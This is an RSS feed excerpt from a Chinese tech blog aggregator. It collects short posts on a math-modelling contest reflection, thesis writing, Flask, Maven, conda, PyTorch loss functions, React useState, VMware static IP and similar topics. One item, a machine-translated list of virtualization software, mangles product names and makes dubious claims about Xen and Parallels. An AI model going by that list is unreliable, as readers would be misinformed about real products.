fitting解决；因为我本人没学过数字图像处理，所以大部分模型只能由男友写。因为模型原理一旦复杂，就不是业余人士在赛期内能搞清楚的了。&#xA;4.为什么提前结束比赛？&#xA;因为我们三个编程能力太弱了。除了已经实现的，什么都实现不了。我还想改语言，但是男友把它提交了，我没劝阻他，因为我在担心期末考，他也担心。我的好女队友向来很听“使唤”，她总是问我们“我该做什么”…但是我们三个的编程能力让我们什么也做不了&#xA;最后，希望各位想打数模的女孩子好好学习，自己能有拿的出手的编程本领，见到别人有男友不要觉得自己失败，见到男友比自己厉害不要觉得自己失败，更不用担心自己被甩了会有多惨。&#xA;也许希望你变强的人很多，但是希望你变得比自己强的人很少，&#xA;对现在的我来说，也许还是愿意没参加过那么多次比赛，这些参加了都用来认识自己确实啥也不会的比赛着实对成长没多大意义&#xA;为什么没多大意义？&#xA;因为知道自己废也不会继续学。而是等到下一次比赛前不得不假装很努力地看课。&#xA;为什么不继续学？&#xA;因为我们的利益驱动里面没有这个。&#xA;不要绑定一个人，因为你不知道你跟他合得来是不是只是因为目前路合得来，&#xA;不要绑定一个人，因为他会让你不做出对自己最有利的选择&#xA;不要绑定一个人，你以为他懂你但是你也会变他也会变。</description>
    </item>
    <item>
      <title>论文写作步骤和技巧梳理</title>
      <link>https://bchobby.github.io/posts/597c3a33ec8c0dc11f987322c405b6e3/</link>
      <pubDate>Sun, 27 Nov 2022 20:26:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/597c3a33ec8c0dc11f987322c405b6e3/</guid>
      <description>目录&#xA;一、选题：坚持“四有”原则&#xA;二、开题：良好的开始是成功的一半&#xA;三、摘要：简洁有力，直奔主题&#xA;​四、关键词：以小见大&#xA;五、正文：论文最最最核心部分&#xA;六、参考文献：格式正确很重要&#xA;七、致谢：画上完美句号&#xA;你的论文怎么写的？&#xA;优秀论文都有哪些亮点？&#xA;怎么才能写一篇得分高的论文？&#xA;……&#xA;相信很多被论文搞得一筹莫展的学子都会有类似的疑问。论文是每个大学生的必经之路，想要拿到最后的毕业证书，还得历经九九八十一难的论文才可。想要写出一篇优秀的论文，不是一件简单的事，那么论文到底……应该怎么写呢？&#xA;探究这个问题之前，我们先来梳理一下，论文都由哪些部分来组成，然后再由我们的架构，来开始撰写我们的论文。论文的基本结构如下：选题、开题、摘要、目录、关键词、正文、参考文献、致谢等。了解完论文的结构之后，我们再一步步循序渐进，慢慢来完成，在询问了多位优秀毕业生的论文写作技巧后，总结成文来和大家分享，接下来就来说一说关于论文的写作步骤和技巧，满满干货，希望可以给莘莘学子一些新的建议与启发。&#xA;一、选题：坚持“四有”原则 论文的选题是最重要也是最基础的核心结构，俗话说，好的开始是成功的一半。所以制定好的选题也显得至关重要。我们可以通过阅读书籍了解信息，从而来思考自己的选题，突破自己学科的一些“空白处”去研究，综合比较和社会的调查，从而找到自己适合的选题。值得注意的四个原则是【“四有”】：有价值、有兴趣、有可操作性、有创新主体。&#xA;二、开题：良好的开始是成功的一半 选题决定好了之后，就要开始写开题报告了，撰写开题报告时，要先阐明选题的目的和意义，接着选题的基本内容确定下来，并且适当了解国内外的研究状况，拟定自己的写作计划和提纲，为后面撰写论文的正文打好坚实的基础。&#xA;注意文献综述部分，需要阅读大量而全面的资料，分收集、阅读、筛选、整理四个部分来展开，围绕自己的论文主题和相关领域，来探究好国内外的研究现状。&#xA;三、摘要：简洁有力，直奔主题 摘要部分主要针对你的论文，主要阐述从事这一研究的目的和重要性，从而指出自己研究的主要内容，获得的基本结论和研究成果，突出论文的新见解。注意文字要简明扼要，不要太啰嗦，减少不必要的文字修饰，用最少的文字来撰写出最大的信息量。字数一般是在400-500字为佳，为论文字数的5%。&#xA;总的来说，好的摘要需要具备以下几点：&#xA;1.开门见山，迅速进入主题!&#xA;2.语言简洁有力，内容清晰明了!&#xA;3.引人入胜，对论文整体有基本了解!&#xA;四、关键词：以小见大 撰写摘要之后就要提取论文的主要关键词，一般是3-5个关键词，注意紧扣文章内的重要概念及提现创新型的概念，注重研究对象及其上下平行的概念。怎么去提取重要的关键词呢？可以从三方面来考虑，一是根据你论文的标题来提取关键词，二是根据论文的主题来提炼出精准的关键词，三是文章的关键词提取要根据关键的程度来进行提取，但切忌不要过于集中。&#xA;接着就是目录部分，目录部分就是排版技巧，这里就不一一赘述了，将会在下一期跟大家分享如何生成目录的技巧，记得持续关注哦！&#xA;五、正文：论文最最最核心部分 正文就是论文的主体部分，所以这部分的撰写显得尤为重要，因此要注意结构完整、逻辑清晰、中心突出，论点正确，论据充分，论证严密，同时注意语句通顺，格式准确，保证文章的完整性。&#xA;我们的论文内容主要是通过提出问题论点、分析和探究，对提出的结果进行解释以及论证，一般会先把自己重要的论点放在正文的前面部分，后面再着重论证和分析论点，最后证明论点的可靠性。在撰写的过程中，一般会结合图表等来分析和进一步论证。&#xA;六、参考文献：格式正确很重要 我们撰写论文过程中，可以需要参考一些其他人的优秀论文、期刊等文献内容，这一部分也是要在正文的后面当附录加进去的，但很多人对参考文献的了解比较少，一般来说，参考文献的类型有以下这几种，具体如下：M-专著、C-论文集、N-报纸文章、J-期刊、D-学位论文、R-报告、Z-其他等。&#xA;我们在撰写参考文献内容的时候，注意要作者、文献名、杂志或书名；&#xA;卷号/期刊号、出版时间、页数等元素即可。&#xA;七、致谢：画上完美句号 写到致谢这里证明离你的论文结束已经胜利在望了~致谢是对本次撰写论文过程的总结，可以对指导老师、身边同学表示感谢，也可以回顾自己大学生活的点点滴滴，阐述自己在本次写作论文中的收获，表达对自己未来的展望和勉励。注意用词要得当，情感真挚即可。</description>
    </item>
    <item>
      <title>【python】使用VSCode搭建flask环境</title>
      <link>https://bchobby.github.io/posts/ad0de9fc3c6cfe74bd31040ed7dc0b76/</link>
      <pubDate>Sun, 27 Nov 2022 16:37:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad0de9fc3c6cfe74bd31040ed7dc0b76/</guid>
      <description>一、开始 安装Python 及vscode&#xA;二、新建文件夹 例如：flask-11.27&#xA;三、创建python虚拟环境 vscode：点击文件-打开文件夹-选择新建的文件夹&#xA;vscode：信任此作者&#xA;vscode：终端-新建终端-执行：python -m venv env，flask-11.27文件夹中产生 env 文件夹&#xA;四、选择解析器 vscode：查看-命令面板-输入选择：Python: Select Interpreter 并回车&#xA;vscode：选择其中带有“env”的Python解析器&#xA;vscode：新建终端窗口，此时终端目录前带有“env”&#xA;五、安装flask vscode：执行：pip install flask&#xA;vscode：提示需要更新“pip”，直接复制提示中的语句即可&#xA;六、测试 在新建立的文件“flask-11.27”中 建立 app.py 文件&#xA;文件中输入内容：&#xA;from flask import Flask app = Flask(__name__) @app.route(&#34;/&#34;) def home(): return &#34;Hello!&#34; 七、运行测试 vscode：直接在终端中执行：python -m flask run&#xA;vscode：command+单击http://127.0.0.1:5000/连接或打开浏览器输入地址：http://127.0.0.1:5000/&#xA;网页中显示Hello!表示成功。</description>
    </item>
    <item>
      <title>linux对有相同格式名称的文件进行批量操作（模糊匹配）</title>
      <link>https://bchobby.github.io/posts/d527cde4d9a805d3aeff41640fd63319/</link>
      <pubDate>Sun, 27 Nov 2022 16:04:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d527cde4d9a805d3aeff41640fd63319/</guid>
      <description>linux其实可以使用模糊匹配对文件进行批量操作的，比如：&#xA;rm -rf n* 就可以删除n开头的所有文件夹。&#xA;mv n* images 即可把n开头的所有文件(文件夹)移动到images文件夹下。</description>
    </item>
    <item>
      <title>十大最佳虚拟化软件</title>
      <link>https://bchobby.github.io/posts/63eaf55cb41260cca4fe940cd8037b3d/</link>
      <pubDate>Sun, 27 Nov 2022 10:39:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/63eaf55cb41260cca4fe940cd8037b3d/</guid>
      <description>正如该术语在计算术语中暗示的那样，虚拟化涉及到创建虚拟操作系统、网络平台和存储设备。当今世界，需要复杂的计算机系统来帮助管理大型企业。虚拟化帮助计算机系统和网络管理员使用相同的硬件运行并行操作系统进程。这意味着硬件和软件集成的有效使用。它还意味着可以通过虚拟化网络安全高效地共享文件。目前市场上有几种虚拟化软件。&#xA;本文介绍了目前最好的10个虚拟化软件。&#xA;最佳虚拟化软件 \ 比较（全部） 根据您的需要详细检查所有的服务，并明智地选择服务-到最后，您将确切地知道哪一个是适合您的选择。&#xA;1。思杰公司&#xA;Citrix是目前最好的虚拟化软件之一。它使用企业移动管理（emm）技术向客户提供数据和管理数据的应用程序之间的安全和优化的集成。&#xA;以下是它的一些最强大的功能： 企业移动管理（EMM）–Citrix提供一整套EMM服务，包括网络安全网关、移动应用程序管理和移动内容管理。&#xA;文件共享和同步——通过Citrix，企业可以轻松地共享文件，而不会出现延迟或冗余问题。&#xA;高效的网络——Citrix允许数据和应用程序安全、快速地共享给网络的所有用户。对于网络中的许多用户，有必要获得一个安全的虚拟网络。Citrix提供了这个功能。&#xA;citrix在全球拥有数百万用户，是一款强大可靠的虚拟化软件。它提供安全的网络和最佳的虚拟化服务。emm服务尤其使citrix成为非常理想的虚拟化软件。&#xA;2。平行线&#xA;Parallels可以帮助您从任何设备访问Office工作桌面，并从世界任何地方运行应用程序。&#xA;以下是它的一些最佳功能： 应用程序远程控制–您实际上可以从工作桌面外部控制所有桌面应用程序。最棒的是，Parallels可以在任何设备上工作，这样你离开办公室时就不用担心了。&#xA;外设重定向–Parallels允许重定向连接到工作机器或网络的USB和其他外设设备。&#xA;在大多数操作系统上运行-您不必更改操作系统以使用并行程序。它运行在所有常见的操作系统上，如windows、linux、android、ios。&#xA;Parallels是一个强大的虚拟化软件，运行在大多数设备上，并得到大多数操作系统的支持。不必安装当前操作系统即可使用并行程序。&#xA;三. 睿拓&#xA;Virtuozzo为一些最大的在线托管公司和服务提供商提供托管服务。&#xA;它具有以下显著特征： 系统容器——这个独特的特性允许一个独立的内核同时管理其他几个独立的虚拟进程。&#xA;加密容器–此功能允许交换数据的最大安全性。你永远不用担心有人解密你的信息时，使用技巧。&#xA;完全在Linux和其他发行版上运行—如果您使用的是任何流行的OS发行版，特别是Linux，那么Virtuozzo就是一个不错的选择。&#xA;大师自2001年起开始使用。对于任何虚拟化软件来说，它都有一些最好管理、安全和弹性的基础设施。&#xA;4。Xen项目&#xA;xen项目为许多商业组织提供虚拟化服务。例如，amazon web服务是使用xen项目管理的。&#xA;以下是它的一些最强大的功能： 它是开源的——Xen项目是Linux操作系统的一部分。因此，它是开源的，感兴趣的用户可以很容易地访问它。小企业或个人用户可以利用这一点并虚拟化其计算机操作。&#xA;基于云的解决方案–开放堆栈是xen项目虚拟化软件提供的基于云的解决方案的最佳示例。&#xA;范围广泛的服务器产品——Xen项目拥有范围广泛的服务器产品，包括华为UVP和Oracle虚拟机。&#xA;Xen项目从2003年开始上市。它为任何虚拟化软件提供了一些最全面的服务。&#xA;5. Virtual Iron&#xA;Virtual Iron 于2009年被甲骨文公司收购。它提供了高质量的服务器虚拟化和基础设施管理。&#xA;以下是它的一些最佳功能： 全面的虚拟化服务—此软件允许单服务器和多服务器分区。这提供了足够的高可用性恢复选项以及对虚拟化数据的访问。&#xA;减少错误和劳动—VirtualIron通过自动化流程管理虚拟化的数据和应用程序。这有助于减少由人工输入引起的冗余错误。&#xA;virtual iron是当今市场上最好的虚拟化软件之一。自从被甲骨文收购以来，virtual iron有了很大的改进。&#xA;6. ManageEngine&#xA;ManageEngine 提供广泛的监控服务，使用简单友好。你不必浪费很多时间去弄清楚它的一些功能是如何工作的。它还提供了一个监测支持系统。&#xA;以下是它的一些理想功能： 服务器虚拟化-使用manageengine，您可以在同一台计算机上运行尽可能多的虚拟操作系统。它有助于最大化生产和降低运营成本。&#xA;应用程序管理——manageengine提供应用程序管理服务，监控关键应用程序，如收入收集应用程序。&#xA;manageengine使您的应用程序和所有虚拟化进程都得到管理和主动监视。使用manageengine时，您将对虚拟化需求进行排序。&#xA;7。VMware&#xA;vmware包含一整套虚拟化软件所需的特性。它目前被许多组织用来管理他们的云服务和虚拟化。&#xA;以下是它最理想的一些特性： 数据和云中心基础设施–通过vmware虚拟化，您将拥有最好的数据和流量。最棒的是，所有数据都将虚拟地存储在云中，您可以随时访问它。&#xA;安全网络–vmware提供安全的网络通道。您不必担心不完整的数据位或解密的通信线路。&#xA;数字工作区—VMWare提供对网络虚拟环境中任何应用程序或设备的访问。您可以远程访问最终用户计算服务，所有这些服务都托管在虚拟化平台上。&#xA;8。虚拟机&#xA;VirtualBox是Oracle的一款产品，它诠释了卓越的服务和可靠性。它功能强大，既可以用于企业，也可以用于个人。虚拟盒子是当今市场上最著名、应用最广泛的虚拟化软件之一。&#xA;其最理想的特征包括： 开源——VirtualBox是根据通用公共许可证第2版提供的条款开发的开源虚拟化软件。这使得许多感兴趣的用户可以使用它，而不必付出很多成本。&#xA;灵活性——虚拟盒子运行的操作系统列表是无止境的。从windows 2000到10，linux，opensolaris；从根本上说，virtual box是最灵活的虚拟化软件之一。</description>
    </item>
    <item>
      <title>Pytorch中CrossEntropyLoss()详解</title>
      <link>https://bchobby.github.io/posts/bc7b902a3fd05dd719286c016fa0672c/</link>
      <pubDate>Sun, 27 Nov 2022 02:42:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bc7b902a3fd05dd719286c016fa0672c/</guid>
      <description>一、损失函数 nn.CrossEntropyLoss() 交叉熵损失函数 nn.CrossEntropyLoss() ，结合了 nn.LogSoftmax() 和 nn.NLLLoss() 两个函数。 它在做分类（具体几类）训练的时候是非常有用的。&#xA;二. 什么是交叉熵 交叉熵主要是用来判定实际的输出与期望的输出的接近程度。举个例子：在做分类训练的时候，如果一个样本属于第 K 类，那么这个类别所对应的输出节点的输出值应该为1，而其他节点的输出都为0，即 [0,0,1,0,….0,0] ，这个数组也就是样本的 Label，是神经网络最期望的输出结果。我们用交叉熵损失函数来衡量网络的实际输出与正确标签的差异，利用这种差异经过反向传播去更新网络参数。&#xA;交叉熵：它主要刻画的是实际输出（概率）与期望输出（概率）的距离，也就是交叉熵的值越小，两个概率分布就越接近。假设概率分布p为期望输出，概率分布q为实际输出，则交叉熵定义为：&#xA;那么该公式如何表示，举个例子，假设N=3，期望输出为p = (1,0,0)，实际输出q1 = (0.5,0.2,0.3)，q2 = (0.8,0.1,0.1)，那么：&#xA;通过上面可以看出，q2与p更为接近，它的交叉熵也更小。&#xA;三. Pytorch中的CrossEntropyLoss()函数 Pytorch中计算的交叉熵并不是采用&#xA;这种方式计算得到的，而是交叉熵的另外一种方式计算得到的，如下公式所示，它是交叉熵的另外一种方式。&#xA;Pytorch中CrossEntropyLoss()函数的主要是将softmax-log-NLLLoss合并到一块得到的结果。&#xA;Softmax后的数值都在0~1之间，所以ln之后值域是负无穷到0。然后将Softmax之后的结果取log，将乘法改成加法减少计算量，同时保障函数的单调性 。NLLLoss的结果就是把上面的输出与Label对应的那个值拿出来(下面例子中就是：将log_output\logsoftmax_output中与y_target对应的值拿出来)，去掉负号，再求均值。 举例 ：&#xA;import torch import torch.nn as nn x_input=torch.randn(3,3)#随机生成输入 print(&#39;x_input:\n&#39;,x_input) y_target=torch.tensor([1,2,0])#设置输出具体值 print(&#39;y_target\n&#39;,y_target) #计算输入softmax，此时可以看到每一行加到一起结果都是1 softmax_func=nn.Softmax(dim=1) soft_output=softmax_func(x_input) print(&#39;soft_output:\n&#39;,soft_output) #在softmax的基础上取log log_output=torch.log(soft_output) print(&#39;log_output:\n&#39;,log_output) #对比softmax与log的结合与nn.LogSoftmaxloss(负对数似然损失)的输出结果，发现两者是一致的。 logsoftmax_func=nn.LogSoftmax(dim=1) logsoftmax_output=logsoftmax_func(x_input) print(&#39;logsoftmax_output:\n&#39;,logsoftmax_output) #pytorch中关于NLLLoss的默认参数配置为：reducetion=True、size_average=True nllloss_func=nn.NLLLoss() nlloss_output=nllloss_func(logsoftmax_output,y_target) print(&#39;nlloss_output:\n&#39;,nlloss_output) #直接使用pytorch中的loss_func=nn.CrossEntropyLoss()看与经过NLLLoss的计算是不是一样 crossentropyloss=nn.CrossEntropyLoss() crossentropyloss_output=crossentropyloss(x_input,y_target) print(&#39;crossentropyloss_output:\n&#39;,crossentropyloss_output) 最后计算得到的结果为：&#xA;x_input: tensor([[ 2.8883, 0.</description>
    </item>
    <item>
      <title>修改配置maven镜像仓库位置，将maven镜像更换成阿里镜像</title>
      <link>https://bchobby.github.io/posts/0c09b5a15e244fe64af4e07c6748720c/</link>
      <pubDate>Sat, 26 Nov 2022 22:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c09b5a15e244fe64af4e07c6748720c/</guid>
      <description>大家斗志到Maven默认连接的仓库位置https://repo .maven.apache.org/maven2访问国外镜像下载东西时相对较慢，所以多数朋友想切换到国内镜像，国内阿里已经给大家提供了一套完整的镜像供大家使用。 Maven默认连接的仓库位置&#xA;&amp;lt;repositories&amp;gt; &amp;lt;repository&amp;gt; &amp;lt;id&amp;gt;central&amp;lt;/id&amp;gt; &amp;lt;name&amp;gt;Central Repository&amp;lt;/name&amp;gt; &amp;lt;ur1&amp;gt;https://repo .maven.apache.org/maven2&amp;lt;/ur1&amp;gt; &amp;lt;layout&amp;gt;default&amp;lt;/layout&amp;gt; &amp;lt;snapshots&amp;gt; &amp;lt;enabled*false&amp;lt;/enabled&amp;gt;&amp;lt;/snapshots&amp;gt; &amp;lt;/repository&amp;gt; &amp;lt;/repositories&amp;gt; 下面给大家讲一下修改maven镜像仓库位置，将maven镜像更换成阿里镜像具体操作步骤 第一步：打开Maven安装位置的 settings.xml（settings.xml所在位置：Maven安装路径\conf\settings.xml） 第二步：搜索代码 &amp;lt;mirrors&amp;gt; 默认在146行左右&#xA;第三步：将下面代码粘到内 &amp;lt;mirror&amp;gt; &amp;lt;id&amp;gt;nexus-aliyun&amp;lt;/id&amp;gt; &amp;lt;mirrorOf&amp;gt;central&amp;lt;/mirrorOf&amp;gt; &amp;lt;name&amp;gt;Nexus aliyun&amp;lt;/name&amp;gt; &amp;lt;url&amp;gt;http://maven.aliyun.com/nexus/content/groups/public&amp;lt;/ur1&amp;gt; &amp;lt;/mirror&amp;gt; 粘贴代码详解 id：此镜像的唯一标识符，用来区分不同的mirror元素mirrorOf：对哪种仓库进行像，简单说就是替代哪个仓库name：镜像名称url：镜像URL</description>
    </item>
    <item>
      <title>mac 安装完anaconda后找不到tensorflow包，pip install 无效</title>
      <link>https://bchobby.github.io/posts/57416bc1691b6c40d27b9ec11800c9d8/</link>
      <pubDate>Sat, 26 Nov 2022 12:04:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/57416bc1691b6c40d27b9ec11800c9d8/</guid>
      <description>一、问题 重新安装完anaconda后&#xA;在jupyter里安装tensorflow包出现错误：&#xA;pip install tensorflow Could not find a version that satisfies the requirement tensorflow (from versions: ) No matching distribution found for tensorflow 二、解决方案 1.更新pip 没用&#xA;2.conda 安装tensorflow包 在anaconda-navigator启动页，environment查找&#34;tensorflow&#34;相关包，发现居然没有！&#xA;参考博文：解决anaconda安装tensorflow的“no module named tensorflow”问题 看完这篇博文后我才反应过来，需要先安装tensorflow包.&#xA;终端输入:&#xA;conda install tensorflow # 我这里是创建了一个tensorflow环境，再安装的 好的又报错了：&#xA;3.解决服务器问题 然后我又找到这篇文章&#xA;参考博文：PackagesNotFoundError: The following packages are not available from current channels的解决办法 ①将conda-forge添加到搜索路径上 使用以下命令将conda-forge channel添加到channel列表中：&#xA;conda config --append channels conda-forge ② 尝试再次安装tensorflow conda install tensorflow # 我这里是在tensorflow环境安装的 虽然前面failed，但是最后还是成功了！</description>
    </item>
    <item>
      <title>Mac zsh: command not found: conda 报错</title>
      <link>https://bchobby.github.io/posts/d5298b77fc3a3ffbe3b27255f3eda015/</link>
      <pubDate>Fri, 25 Nov 2022 21:26:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d5298b77fc3a3ffbe3b27255f3eda015/</guid>
      <description>最近升级了macos系统，想要卸载anaconda，输入conda出现错误，搞了好久才解决这个问题，特此记录一下，尽量详细记录一下每一个步骤，或许以后还用得上TAT…&#xA;一、报错 conda --version zsh: command not found: conda 二、解决方法 1.切换用户 目的是临时提供超级管理员权限，否则权限不够，修改文件后无法保存&#xA;在终端输入&#xA;sudo su 输入电脑的登录密码后回车，如图：&#xA;2.查看文件 输入&#xA;ls 输入ls后可以看到有一个&#34; .zshrc&#34;的文件：&#xA;3.修改文件 输入&#xA;vim .zshrc #注意有空格 3.1 修改文件出错 这里因为我之前按照其他博客操作的时候没有正常保存，所以出现了提示信息：&#xA;...... ...... (1) Another program may be editing the same file. If this is the case, be careful not to end up with two different instances of the same file when making changes. Quit, or continue with caution. (2) An edit session for this file crashed.</description>
    </item>
    <item>
      <title>Apache 初学者教程</title>
      <link>https://bchobby.github.io/posts/a317fce449fcde7b72765f9ee166c591/</link>
      <pubDate>Fri, 25 Nov 2022 16:37:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a317fce449fcde7b72765f9ee166c591/</guid>
      <description>Apache 是一款了不起的应用软件。它是世界上使用最广泛的 Web 服务器应用程序，在商业 Web 服务器市场中占有超过 50% 的份额。Apache 是类 Unix 操作系统中使用最广泛的 Web 服务器应用程序，但几乎可以在所有平台上使用，例如 Windows、OS X、OS/2 等。Apache 这个词取自 Native 的名称美国部落“阿帕奇”，以其在战争和战略制定方面的技能而闻名。&#xA;它是一个模块化的、基于进程的 Web 服务器应用程序，它为每个并发连接创建一个新线程。它支持许多功能；其中许多被编译为单独的模块并扩展其核心功能，并且可以提供从服务器端编程语言支持到身份验证机制的一切。虚拟主机就是这样一种功能，它允许单个 Apache Web 服务器为多个不同的网站提供服务。&#xA;Apache 初学者教程&#xA;你将学到什么：&#xA;如何安装阿帕奇&#xA;有多种安装包或应用程序的方法。有以下入伍 -&#xA;这个开源 Web 应用程序的特点之一是任何人都可以根据自己的环境制作安装程序。这允许各种供应商（如 Debian、Red Hat、FreeBSD、Suse 等）考虑到其他已安装的应用程序和基本操作系统来自定义 apache 的文件位置和配置。&#xA;除了从基于供应商的安装程序安装它之外，始终可以选择从源代码构建和安装它。从源文件安装 Apache 是独立于平台的，适用于所有操作系统。&#xA;Apache Web 服务器是一个模块化应用程序，管理员可以在其中选择所需的功能并根据他/她的要求安装不同的模块。&#xA;所有模块都可以编译为动态共享对象（DSO 是一个对象文件，可以在多个应用程序执行时共享），与主 apache 文件分开存在。强烈推荐 DSO 方法，它使从服务器配置中添加/删除/更新模块的任务变得非常简单。&#xA;安装 Apache:Linux 平台&#xA;在 Red Hat 或基于 rpm 的系统上&#xA;跳过 Ad&#xA;探索更多&#xA;通过初学者教程学习 Java 编程&#xA;08:32&#xA;Linux 初学者教程：Linux 操作简介.</description>
    </item>
    <item>
      <title>MAC 虚拟机配置静态IP</title>
      <link>https://bchobby.github.io/posts/44bc7094d2da952806ac900c62d18f52/</link>
      <pubDate>Fri, 25 Nov 2022 16:12:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44bc7094d2da952806ac900c62d18f52/</guid>
      <description>MAC 虚拟机配置静态IP&#xA;1、通过nat.conf查看mac本地网关和子网掩码,我本地网关为172.16.130.2，子网掩码为255.255.255.0，做好记录，后面配置需要填写&#xA;more /Library/Preferences/VMware\ Fusion/vmnet8/nat.conf 2、通过dhcpd.conf文件，查看range区间，我本地是172.16.130.128 ～ 172.16.130.254,表示虚拟机静态ip可选范围&#xA;more /Library/Preferences/VMware\ Fusion/vmnet8/dhcpd.conf 3、本地DNS获取，系统偏好设置 ---&amp;gt; 网络 ---&amp;gt; 高级 ---&amp;gt; DNS&#xA;4、配置linux虚拟机网络配置，具体修改配置文件为/etc/sysconfig/network-scripts目录下的 ifcfg-en 开头的文件，修改主要内容如下&#xA;BOOTPROTO=static ONBOOT=yes IPADDR=172.16.130.130 // 静态ip地址，可在如上第2步range范围中任意选择 GATEWAY=172.16.130.2 // 第1步查询到的网关ip，我的是172.16.130.2 NETMASK=255.255.255.0 // 第1步查询到的子网掩码 上面第二步获取的 DNS，这里可以配置多个 DNS，比如下面在加个 DNS2 DNS1=192.168.0.1 // 第3步查询到的DNS DNS2=114.114.114.114 // 可以配置多个DNS，我这里防止部分域名解析问题加了114DNS解析 5、如果是通过克隆模式而来的虚拟机，需要一起修改虚拟机uuid&#xA;[root@node01 ~]# uuidgen fa688596-b7aa-491b-b6f0-4b0cffc1079d [root@node01 ~]# vim /etc/sysconfig/network-scripts/ifcfg-ens33 6、重启linux虚拟机网络服务&#xA;systemctl restart network 到此，虚拟机静态IP设置成功，即可通过xshell等连接工具进行连接测试&#xA;参考博客&#xA;https://www.jb51.net/article/250202.htm&#xA;Mac 上 VmwareFusion配置静态 IP_因我你好久不见的博客-CSDN博客_mac vmware设置静态ip</description>
    </item>
    <item>
      <title>一个useState学会React的主要思想</title>
      <link>https://bchobby.github.io/posts/c43cd081dcaa7abad315e05ec3585455/</link>
      <pubDate>Fri, 25 Nov 2022 11:10:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c43cd081dcaa7abad315e05ec3585455/</guid>
      <description>正经学徒，佛系记录，不搞事情&#xA;皮毛React开发者：一个useState有什么好学的，hook那么多，哪个不比useState难&#xA;自身React开发者：学的不是如何使用，而是为什么会这样&#xA;直接进入主题，对React文档案例进行分析，可以先给出点击按钮后numebr的值再看解释&#xA;import { useState } from &#39;react&#39;; export default function Counter() { const [number, setNumber] = useState(0); return ( &amp;lt;&amp;gt; &amp;lt;h1&amp;gt;{number}&amp;lt;/h1&amp;gt; &amp;lt;button onClick={() =&amp;gt; { setNumber(number + 1); console.log(number) setNumber(number + 1); console.log(number) setNumber(number + 1); console.log(number) }}&amp;gt;+3&amp;lt;/button&amp;gt; &amp;lt;/&amp;gt; ) } 反正肯定不是3，是3还有什么好学的，理解这个问题首先要知道React的渲染机制，React为了能够更快的渲染，会挣对state的值的变化去渲染对应的组件，而不是整个页面重新渲染，并且会自动渲染全部相关嵌套的组件。&#xA;对于普通的JavaScript的变量 let number = 0; 即使是对number的值进行操作，也是不会重新渲染组件，这是因为React遵循两个基本原则&#xA;内存变量不会在每次重新渲染中保存下来改变内存变量不会触发重新渲染 因此引入了useState的hook，而上面例子useState的setNumber改变会触发重新渲染。React渲染的机制是等待整个event handler完成后才会触发渲染，它有一个队列的概念，而上面的例子就是将三个 setNumber(number + 1); 加入到Queue中后在一次性渲染，要问为什么，三次计算完成后渲染一次快，还是计算三次的同时渲染三次快呢，尤其是在如果三次计算都是操作同一个值的情况，多次渲染将会是非常浪费的一个动作。&#xA;有了这些概念，再来看例子，上面例子的解释就是useState setNumber在某个event hander中并不会改变变量number的值，numebr的值只在重新渲染后生效，即，整个onClick方法执行完才会渲染number的值，因此console.log的值全都是0，而Queue里是同时执行了三次setNumber(0 + 1);，最终的结果是 1&#xA;import { useState } from &#39;react&#39;; export default function Counter() { const [number, setNumber] = useState(0); return ( &amp;lt;&amp;gt; &amp;lt;h1&amp;gt;{number}&amp;lt;/h1&amp;gt; &amp;lt;button onClick={() =&amp;gt; { setNumber(n =&amp;gt; n + 1); setNumber(n =&amp;gt; n + 1); setNumber(n =&amp;gt; n + 1); }}&amp;gt;+3&amp;lt;/button&amp;gt; &amp;lt;/&amp;gt; ) } 这一个例子的关键点在于 n =&amp;gt; n+1，这意味着每次setNumber的 n 都是用上一次的值，结果是3</description>
    </item>
    <item>
      <title>UWB定位系统会存在定位误差吗？</title>
      <link>https://bchobby.github.io/posts/91392cef542819c1b8fdd5dee7d66bb3/</link>
      <pubDate>Fri, 25 Nov 2022 11:06:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/91392cef542819c1b8fdd5dee7d66bb3/</guid>
      <description>UWB定位系统会存在定位误差吗？UWB定位同样会存在误差，而与其他定位技术不同，UWB定位系统与生俱来的独特优势：定位精度高、功耗低、抗干扰能力强、穿透性强等等，使UWB定位系统成为了室内定位行业最重要的一部分。&#xA;一、UWB定位系统的主要误差来源&#xA;1、时钟同步精度：TOA定位算法需要目标节点与参考节点之间的精确的时间同步，TDOA定位算法需要参考节点之间精确时钟同步，因此，非精确的时间同步将导致UWB系统的定位误差。但由于硬件的局限，完全精确的时钟同步是不可能的。&#xA;2、多径传播：TOA估计算法中，经常用匹配滤波器输出最大值的时刻或相关最大值的时刻作为估计值。由于多径的存在，使相关峰值的位置有了漂移，从而估计值与实际值之间存在很大误差。&#xA;3、非视距传播：视距传播是得到准确的信号特征测量值的必要条件，当两个点之间不存在直接传播路径时，只有信号的反射和衍生成分能够达到接收端，此时第一个到达的脉冲的时间不能代表TOA的真实值，存在非视距误差。&#xA;4、多址干扰：在多用户环境下，其他用户的信号会干扰目标信号，从而降低了估计的准确性。减小这种干扰的一种方法就是把来自不同用户的信号从时间上分开，也即对不同节点使用不同的时隙进行传输。&#xA;二、云酷科技UWB人员定位系统如何精确定位？&#xA;云酷科技UWB定位系统采用了宽带窄脉冲通讯技术（时间分辨率极高，使定位误差减小）、多源数据融合（有效提升定位系统的抗干扰能力）以及时间序列信号处理技术（在强多径复杂环境中，提取出首达路径信号），因此可以实现对定位目标的精准定位。&#xA;同时，云酷科技采用的是无线同步方法，无线同步就是各个基站通过不断与其他基站交换本队时钟信息，最终达到并且保持全局时间协调一致。无线同步方法依赖于UWB的测量时间精度，时间精度越高，两个基站之间的时间误差越小，那么它们的时间同步程度越高。无线同步方式的优势在于基站与基站之间不需要有线连接，因此部署难度较低，成本也低。</description>
    </item>
    <item>
      <title>STM32常用数据类型 u8、u16、u32</title>
      <link>https://bchobby.github.io/posts/c6156f1615868a926dfefe4ede8606fb/</link>
      <pubDate>Thu, 24 Nov 2022 19:30:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c6156f1615868a926dfefe4ede8606fb/</guid>
